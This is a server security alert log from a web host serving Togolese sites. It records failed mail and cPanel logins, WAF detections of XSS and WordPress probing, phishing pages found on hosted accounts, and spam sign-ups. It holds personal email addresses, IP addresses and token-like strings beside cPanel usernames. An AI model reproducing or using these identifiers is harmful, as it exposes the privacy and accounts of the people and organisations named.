47.128.96.193 - - [08/Jun/2026:09:51:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6907757&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcolonel-bataba%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780912280 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/colonel-bataba/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.193


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-06-08 09:51:08 +0000] info [webmaild] 160.242.195.10 - mboroze@caissederetraites.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 64.49.37.39
country_id: 6252001
domain: togosem.com
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.15||T:APACHE||MV:/wp-json/wp/v2/users||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 196.168.219.46
country_id: 2363686
domain: direct7.tg
description:
IM360 WAF: Possible XSS in arguments||MV:https://direct7.tg/wp-content/plugins/onesignal-free-web-push-notifications/sdk_files/onesignalsdkworker.js?appid=8efd3276-8d5b-4b62-bbd3-6ed125ca9f51&sdkversion=160205||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 78.242.250.154
country_id: 3017382
domain: direct7.tg
description:
IM360 WAF: Possible XSS in arguments||MV:https://direct7.tg/wp-content/plugins/onesignal-free-web-push-notifications/sdk_files/onesignalsdkworker.js?appid=8efd3276-8d5b-4b62-bbd3-6ed125ca9f51&sdkversion=160603||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 41.78.138.239
country_id: 2363686
domain: direct7.tg
description:
IM360 WAF: Possible XSS in arguments||MV:https://direct7.tg/wp-content/plugins/onesignal-free-web-push-notifications/sdk_files/onesignalsdkworker.js?appid=8efd3276-8d5b-4b62-bbd3-6ed125ca9f51&sdkversion=160510||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.212.93.43
country_id: 2363686
domain: direct7.tg
description:
IM360 WAF: Possible XSS in arguments||MV:https://direct7.tg/wp-content/plugins/onesignal-free-web-push-notifications/sdk_files/onesignalsdkworker.js?appid=8efd3276-8d5b-4b62-bbd3-6ed125ca9f51&sdkversion=151606||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 41.78.138.237
country_id: 2363686
domain: direct7.tg
description:
IM360 WAF: Possible XSS in arguments||MV:https://direct7.tg/wp-content/plugins/onesignal-free-web-push-notifications/sdk_files/onesignalsdkworker.js?appid=8efd3276-8d5b-4b62-bbd3-6ed125ca9f51&sdkversion=160300||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 41.78.136.201
country_id: 2363686
domain: direct7.tg
description:
IM360 WAF: Possible XSS in arguments||MV:https://direct7.tg/wp-content/plugins/onesignal-free-web-push-notifications/sdk_files/onesignalsdkworker.js?appid=8efd3276-8d5b-4b62-bbd3-6ed125ca9f51&sdkversion=160307||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 196.170.213.85
country_id: 2363686
domain: direct7.tg
description:
IM360 WAF: Possible XSS in arguments||MV:https://direct7.tg/wp-content/plugins/onesignal-free-web-push-notifications/sdk_files/onesignalsdkworker.js?appid=8efd3276-8d5b-4b62-bbd3-6ed125ca9f51&sdkversion=160604||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 41.78.139.209
country_id: 2363686
domain: direct7.tg
description:
IM360 WAF: Possible XSS in arguments||MV:https://direct7.tg/wp-content/plugins/onesignal-free-web-push-notifications/sdk_files/onesignalsdkworker.js?appid=8efd3276-8d5b-4b62-bbd3-6ed125ca9f51&sdkversion=160601||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.64.155.199
country_id: 2363686
domain: direct7.tg
description:
IM360 WAF: Possible XSS in arguments||MV:https://direct7.tg/wp-content/plugins/onesignal-free-web-push-notifications/sdk_files/onesignalsdkworker.js?appid=8efd3276-8d5b-4b62-bbd3-6ed125ca9f51&sdkversion=160605||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 178.89.235.186
country_id: 1522867
description:
2026-06-08 09:56:08 H=([178.89.235.186]) [178.89.235.186]:64648 F=<John@4452.com> temporarily rejected RCPT <kpip@emt.tg>: Could not complete sender verify


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-08 09:57:27 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:51715: 535 Incorrect authentication data (set_id=auditores)


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 196.168.127.245
country_id: 2363686
domain: direct7.tg
description:
IM360 WAF: Possible XSS in arguments||MV:https://direct7.tg/wp-content/plugins/onesignal-free-web-push-notifications/sdk_files/onesignalsdkworker.js?appid=8efd3276-8d5b-4b62-bbd3-6ed125ca9f51&sdkversion=160500||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.108.172
country_id: 2363686
description:
2026-06-08 09:58:02 dovecot_login authenticator failed for H=(DESKTOPIUUM061) [196.170.108.172]:55630: 535 Incorrect authentication data (set_id=contact@perfect-labo.com)


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.64.172.246
country_id: 2363686
domain: direct7.tg
description:
IM360 WAF: Possible XSS in arguments||MV:https://direct7.tg/wp-content/plugins/onesignal-free-web-push-notifications/sdk_files/onesignalsdkworker.js?appid=8efd3276-8d5b-4b62-bbd3-6ed125ca9f51&sdkversion=160404||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.108.2.244
country_id: 3469034
description:
[2026-06-08 09:59:51 +0000] info [whostmgrd] 179.108.2.244 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.231.255.112
country_id: 3017382
domain: fomda.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/tgkkwsvr/public_html/.680503835218283.php||RSV:8.15||T:APACHE||


plugin: ossec
rule: 5555
name: User changed password.
description:
Jun  8 10:01:03 ns5 passwd[675222]: pam_unix(passwd:chauthtok): password changed for moodlefreenetmas


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.108.172
country_id: 2363686
description:
2026-06-08 10:01:07 dovecot_login authenticator failed for H=(DESKTOPIUUM061) [196.170.108.172]:55637: 535 Incorrect authentication data (set_id=contact@perfect-labo.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.48.209.214
country_id: 1168579
description:
2026-06-08 10:02:24 dovecot_plain authenticator failed for H=(5HJ30XO6291) [39.48.209.214]:54361: 535 Incorrect authentication data (set_id=sonia.lassey@mesyscom.com)


plugin: modsec
rule: 33375
name: IM360 WAF: XMLRPC fault response
abuser: 106.51.149.185
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XMLRPC fault response||MV:<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<methodResponse>\n  <fault>\n    <value>\n      <struct>\n        <member>\n          <name>faultCode</name>\n          <value><int>403</int></value>\n        </member>\n        <member>\n          <name>faultString</name>\n          <value><string>Identifiant ou mot de passe incorrect.</string></value>\n        </member>\n      </struct>\n    </value>\n  </fault>\n</methodResponse>\n||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 83.172.149.226
country_id: 3017382
domain: conseilnsaftogo.org
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:97255.conseilnsaftogo.org||ServerName:conseilnsaftogo.org||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7e7b8b775f98971c1a8b9b32904b82bee2d99e35||Title:0x165c83db||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.108.172
country_id: 2363686
description:
2026-06-08 10:04:07 dovecot_login authenticator failed for H=(DESKTOPIUUM061) [196.170.108.172]:55643: 535 Incorrect authentication data (set_id=contact@perfect-labo.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.108.172
country_id: 2363686
description:
2026-06-08 10:05:04 dovecot_login authenticator failed for H=(DESKTOPIUUM061) [196.170.108.172]:56037: 535 Incorrect authentication data (set_id=contact@perfect-labo.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 10:05:09 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:2435: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 95.214.211.233
country_id: 1512440
description:
2026-06-08 10:06:31 H=([95.214.211.233]) [95.214.211.233]:44214 F=<John@4452.com> rejected RCPT <dba.moyenmono@ceni.tg>: Sender verify failed


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 212.16.87.193
country_id: 298795
domain: tdn.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:10-06.212.16.87.193||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 35.229.66.49
country_id: 6252001
domain: soena.tg
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.15||T:APACHE||REQUEST_URI:/blog/wp-includes/wlwmanifest.xml||


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Acquire Your Devotion Money bonotdamvam.blogspot.nl nl||Email:aaliyubukar@gmail.com||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.108.172
country_id: 2363686
description:
2026-06-08 10:07:21 dovecot_login authenticator failed for H=(DESKTOPIUUM061) [196.170.108.172]:58082: 535 Incorrect authentication data (set_id=contact@perfect-labo.com)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:10-07.146.19.125.71||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.108.172
country_id: 2363686
description:
2026-06-08 10:08:30 dovecot_login authenticator failed for H=(DESKTOPIUUM061) [196.170.108.172]:58085: 535 Incorrect authentication data (set_id=contact@perfect-labo.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-08 10:09:10 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:56788: 535 Incorrect authentication data (set_id=auditores)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.108.172
country_id: 2363686
description:
2026-06-08 10:09:29 dovecot_login authenticator failed for H=(DESKTOPIUUM061) [196.170.108.172]:58088: 535 Incorrect authentication data (set_id=contact@perfect-labo.com)


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.14
country_id: 2635167
domain: lvdt.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/lhqeyybr/public_html/.794246769549785.php||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.108.172
country_id: 2363686
description:
2026-06-08 10:10:50 dovecot_login authenticator failed for H=(DESKTOPIUUM061) [196.170.108.172]:58089: 535 Incorrect authentication data (set_id=contact@perfect-labo.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.247.221.212
country_id: 6252001
domain: sia-togo.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:POST http:/sia-togo.tg/wp-login.php HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.200.6.38
country_id: 3469034
description:
Jun  8 10:11:41 ns5 auth[671076]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.200.6.38 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.108.172
country_id: 2363686
description:
2026-06-08 10:11:56 dovecot_login authenticator failed for H=(DESKTOPIUUM061) [196.170.108.172]:58090: 535 Incorrect authentication data (set_id=contact@perfect-labo.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.136.142.13
country_id: 1814991
description:
Jun  8 10:12:02 ns5 auth[671076]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.136.142.13 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.154.116.10
country_id: 1814991
description:
Jun  8 10:12:04 ns5 auth[671076]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.154.116.10 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.53.42.101
country_id: 3469034
description:
Jun  8 10:12:12 ns5 auth[671076]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.53.42.101 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 102.64.175.119
country_id: 2363686
description:
[2026-06-08 10:12:52 +0000] info [cpaneld] 102.64.175.119 NEW zephyradmin:NFnMLPFZldPmwvy7 address=102.64.175.119,app=cpaneld,creator=zephyradmin,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.100.16.74
country_id: 2017370
description:
Jun  8 10:13:07 ns5 auth[671076]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.100.16.74 has been locked due to Imunify RBL


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 34.55.176.117
country_id: 6252001
domain: misstogo.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.15||T:APACHE||MV:/wp-json/wp/v2/users/||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 41.78.136.107
country_id: 2363686
description:
[2026-06-08 10:13:31 +0000] info [cpaneld] 41.78.136.107 NEW sxoyfjqv:geHNTSVmmTMmfeaB address=41.78.136.107,app=cpaneld,creator=sxoyfjqv,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 10:13:34 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:15755: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.213.131.12
country_id: 1835841
description:
Jun  8 10:13:03 ns5 auth[671076]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.213.131.12 has been locked due to Imunify RBL


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 41.216.53.220
country_id: 2395170
domain: direct7.tg
description:
IM360 WAF: Possible XSS in arguments||MV:https://direct7.tg/wp-content/plugins/onesignal-free-web-push-notifications/sdk_files/onesignalsdkworker.js?appid=8efd3276-8d5b-4b62-bbd3-6ed125ca9f51&sdkversion=160509||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.230.153.254
country_id: 2635167
description:
[2026-06-08 10:14:53 +0000] info [cpaneld] 5.230.153.254 - moodlefreenetmas "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 107.174.169.209
country_id: 6252001
description:
[2026-06-08 10:14:50 +0000] info [cpaneld] 107.174.169.209 NEW vuvwskxh:Yk_VhO0vtaESj2nL address=107.174.169.209,app=cpaneld,creator=vuvwskxh,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.163.145.175
country_id: 1668284
description:
Jun  8 10:14:02 ns5 auth[671076]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.163.145.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 10:14:13 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:15756: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.14
country_id: 2635167
description:
[2026-06-08 10:14:55 +0000] info [cpaneld] 5.230.153.14 NEW ifxmoxbf:HzNflBX8N1aDXsnm address=5.230.153.14,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 64.44.62.24
country_id: 6252001
domain: festics.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/njdbfcnn/public_html/.009943791748067.php||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 10:15:24 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:15759: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.212
country_id: 2635167
description:
[2026-06-08 10:14:55 +0000] info [cpaneld] 5.230.133.212 NEW mipbtgnb:hCOX3lj1GvA_YWsu address=5.230.133.212,app=cpaneld,creator=mipbtgnb,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.180
country_id: 2635167
domain: sophie-immobilier.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/mipbtgnb/public_html/.727409837832272.php||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 196.171.36.62
country_id: 2363686
domain: direct7.tg
description:
IM360 WAF: Possible XSS in arguments||MV:https://direct7.tg/wp-content/plugins/onesignal-free-web-push-notifications/sdk_files/onesignalsdkworker.js?appid=8efd3276-8d5b-4b62-bbd3-6ed125ca9f51&sdkversion=160602||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.108.172
country_id: 2363686
description:
2026-06-08 10:23:35 dovecot_login authenticator failed for H=(DESKTOPIUUM061) [196.170.108.172]:55364: 535 Incorrect authentication data (set_id=contact@perfect-labo.com)


plugin: ossec
rule: 5555
name: User changed password.
description:
Jun  8 10:24:14 ns5 passwd[693545]: pam_unix(passwd:chauthtok): password changed for moodlefreenetmas


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.108.172
country_id: 2363686
description:
2026-06-08 10:24:03 dovecot_login authenticator failed for H=(DESKTOPIUUM061) [196.170.108.172]:55367: 535 Incorrect authentication data (set_id=contact@perfect-labo.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 10:24:31 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:15820: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.221.53
country_id: 2287781
description:
2026-06-08 10:24:13 dovecot_login authenticator failed for H=(ELISABETH) [102.209.221.53]:18958: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.108.172
country_id: 2363686
description:
2026-06-08 10:26:21 dovecot_login authenticator failed for H=(DESKTOPIUUM061) [196.170.108.172]:55372: 535 Incorrect authentication data (set_id=contact@perfect-labo.com)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.198
country_id: 1880251
description:
47.128.96.198 - - [08/Jun/2026:10:26:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9935043&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Ftogo-vs-namibie%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780914404 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/togo-vs-namibie/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.198


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.139
country_id: 1880251
description:
47.128.96.139 - - [08/Jun/2026:10:26:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6656354&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-pieces-etablissement-carte-nationale-identite%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780914411 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-pieces-etablissement-carte-nationale-identite/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.139


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.62.168
country_id: 6252001
description:
[2026-06-08 10:26:55 +0000] info [cpaneld] 64.44.62.168 NEW ruuwezvf:I3F9TCUineiM4gra address=64.44.62.168,app=cpaneld,creator=ruuwezvf,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.108.172
country_id: 2363686
description:
2026-06-08 10:29:20 dovecot_login authenticator failed for H=(DESKTOPIUUM061) [196.170.108.172]:53739: 535 Incorrect authentication data (set_id=contact@perfect-labo.com)


plugin: modsec
rule: 77316736
name: IM360 WAF: Request body parsing error
abuser: 195.154.153.109
country_id: 3017382
domain: www.expertsdefense.com
description:
IM360 WAF: Request body parsing error||err_msg:XML parser error: XML: Failed to parse document.||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 85.193.107.248
country_id: 1522867
description:
2026-06-08 10:30:40 H=([0.0.0.0]) [85.193.107.248]:60735 F=<John@4452.com> rejected RCPT <majed.zammouri@soroubat.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.108.172
country_id: 2363686
description:
2026-06-08 10:31:20 dovecot_login authenticator failed for H=(DESKTOPIUUM061) [196.170.108.172]:53748: 535 Incorrect authentication data (set_id=contact@perfect-labo.com)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 185.117.225.26
country_id: 6252001
domain: bieredjama.snb.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/123.0.6312.86 Safari/537.36||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 23.105.182.31
country_id: 6252001
description:
2026-06-08 10:31:32 H=([172.70.134.240]) [23.105.182.31]:55234 F=<vsoutxqk@adv-pax.de> rejected RCPT <whiteway@white-ways.com>: The mail server could not deliver mail to whiteway@white-ways.com.  The account or domain may not exist, they may be blacklisted, or missing the proper dns entries.


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:10-32.146.19.125.71||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Speedily Start Your Extra eropolik.blogspot.sg Q8||Email:leilannahw@gmail.com||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-08 10:33:45 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:57086: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 10:33:13 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:8326: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 10:34:15 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:8331: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.108.172
country_id: 2363686
description:
2026-06-08 10:34:20 dovecot_login authenticator failed for H=(DESKTOPIUUM061) [196.170.108.172]:53753: 535 Incorrect authentication data (set_id=contact@perfect-labo.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 10:35:15 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:8335: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 10:36:16 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:8340: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.108.172
country_id: 2363686
description:
2026-06-08 10:36:20 dovecot_login authenticator failed for H=(DESKTOPIUUM061) [196.170.108.172]:53760: 535 Incorrect authentication data (set_id=contact@perfect-labo.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 10:37:17 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:20352: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 10:38:18 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:13443: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.170.29.120
country_id: 2363686
description:
[2026-06-08 10:39:07 +0000] info [webmaild] 196.170.29.120 - emt@emt.tg "GET /cpsess6657688824/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.151.181
country_id: 2363686
description:
2026-06-08 10:39:09 dovecot_login authenticator failed for H=(Yoga) [102.64.151.181]:65121: 535 Incorrect authentication data (set_id=contactcert@certlogisticstogo.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.108.172
country_id: 2363686
description:
2026-06-08 10:39:23 dovecot_login authenticator failed for H=(DESKTOPIUUM061) [196.170.108.172]:53763: 535 Incorrect authentication data (set_id=contact@perfect-labo.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 10:39:29 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:13444: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.151.181
country_id: 2363686
description:
2026-06-08 10:40:42 dovecot_login authenticator failed for H=(Yoga) [102.64.151.181]:60516: 535 Incorrect authentication data (set_id=contactcert@certlogisticstogo.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 112.0.91.48
country_id: 1814991
description:
2026-06-08 10:40:53 H=([112.0.91.48]) [112.0.91.48]:27824 F=<John@4452.com> rejected RCPT <info@cndh-togo.org>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.152.240
country_id: 6252001
description:
2026-06-08 10:40:54 dovecot_login authenticator failed for H=(inger.tg) [104.28.152.240]:16259: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.108.172
country_id: 2363686
description:
2026-06-08 10:41:23 dovecot_login authenticator failed for H=(DESKTOPIUUM061) [196.170.108.172]:53767: 535 Incorrect authentication data (set_id=contact@perfect-labo.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 84.54.70.34
country_id: 1512440
description:
